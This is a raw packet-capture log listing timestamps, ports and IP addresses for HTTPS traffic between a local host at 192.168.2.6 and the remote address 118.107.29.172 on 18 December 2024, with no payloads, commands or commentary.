Dec 18, 2024 13:35:57.650248051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.655332088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.655349970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.655425072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.655436993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.655472994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.658196926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.658214092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.658271074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.658279896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.658323050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.660846949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.660864115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.660907030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.660921097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.660943985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.660963058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.664155960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.664171934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.664225101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.664236069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.664269924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.664283991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.668957949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.668977976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.669043064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.669056892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.669095993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.672462940 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.672482014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.672544956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.672554016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.672566891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.672591925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.839812994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.839835882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.839893103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.839932919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.839943886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.840023041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.842411041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.842427015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.842473984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.842483044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.842490911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.842516899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.847446918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.847465992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.847507954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.847522974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.847549915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.847568989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.850794077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.850814104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.850855112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.850872993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.850895882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.850913048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.854160070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.854199886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.854247093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.854259968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.854283094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.854299068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.856677055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.856692076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.856753111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.856770992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.856920958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.861434937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.861452103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.861490011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.861500978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.861521959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.861545086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.863272905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.863291979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.863336086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.863359928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:57.863373041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:57.863399982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.032113075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.032133102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.032182932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.032226086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.032239914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.032258987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.035156012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.035172939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.035209894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.035218000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.035239935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.035259962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.040795088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.040812016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.040862083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.040879011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.040899038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.040916920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.043895006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.043911934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.043962955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.043973923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.044004917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.045826912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.045844078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.045876026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.045885086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.045913935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.045934916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.048137903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.048155069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.048233032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.048233032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.048244953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.048316956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.053265095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.053280115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.053322077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.053334951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.053359032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.053379059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.055351019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.055367947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.055419922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.055430889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.055463076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.224641085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.224662066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.224806070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.224852085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.224900961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.226556063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.226572037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.226630926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.226656914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.226694107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.232207060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.232223988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.232278109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.232300043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.232336998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.234612942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.234628916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.234684944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.234699011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.234735012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.237991095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.238006115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.238066912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.238091946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.238102913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.238126040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.240398884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.240415096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.240509987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.240530014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.240567923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.245434999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.245452881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.245500088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.245524883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.245546103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.245765924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.247567892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.247585058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.247629881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.247637987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.247672081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.247682095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.416522980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.416551113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.416605949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.416637897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.416651011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.416675091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.418441057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.418457985 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.418540001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.418553114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.418596029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.424416065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.424432039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.424482107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.424524069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.424539089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.424573898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.426702976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.426718950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.426769018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.426784992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.426826000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.430020094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.430037975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.430082083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.430092096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.430121899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.430146933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.432533979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.432552099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.432646036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.432655096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.432698011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.437849045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.437865973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.437935114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.437946081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.437987089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.440390110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.440407038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.440466881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.440478086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.440495014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.440517902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.608968019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.608990908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.609066963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.609106064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.609154940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.610891104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.610908031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.610959053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.610966921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.611006021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.616436958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.616455078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.616502047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.616519928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.616544962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.616564035 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.619050980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.619070053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.619138956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.619148016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.619184971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.622070074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.622088909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.622158051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.622169971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.622209072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.624630928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.624650955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.624712944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.624725103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.624756098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.624768972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.630086899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.630109072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.630197048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.630218029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.630316973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.632111073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.632142067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.632226944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.632237911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.632261038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.632293940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.801234961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.801255941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.801348925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.801388979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.801405907 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.801485062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.803102016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.803122997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.803173065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.803181887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.803199053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.803222895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.808955908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.808974981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.809020042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.809027910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.809062004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.809086084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.811763048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.811788082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.811829090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.811837912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.811873913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.811889887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.814549923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.814568996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.814611912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.814620972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.814651012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.814671040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.817181110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.817204952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.817253113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.817262888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.817302942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.822768927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.822783947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.822845936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.822874069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.822918892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.825618029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.825643063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.825742960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.825759888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.825797081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.993266106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.993290901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.993446112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.993489981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.993535042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.995202065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.995218992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.995296001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:58.995326996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:58.995362043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.000931978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.000950098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.001056910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.001085043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.001138926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.003321886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.003340960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.003398895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.003417015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.003438950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.003458023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.006589890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.006614923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.006668091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.006696939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.006733894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.009067059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.009083986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.009133101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.009154081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.009169102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.009191036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.014448881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.014471054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.014518023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.014539957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.014553070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.014574051 CET	49728	443	192.168.2.6	118.107.29.172
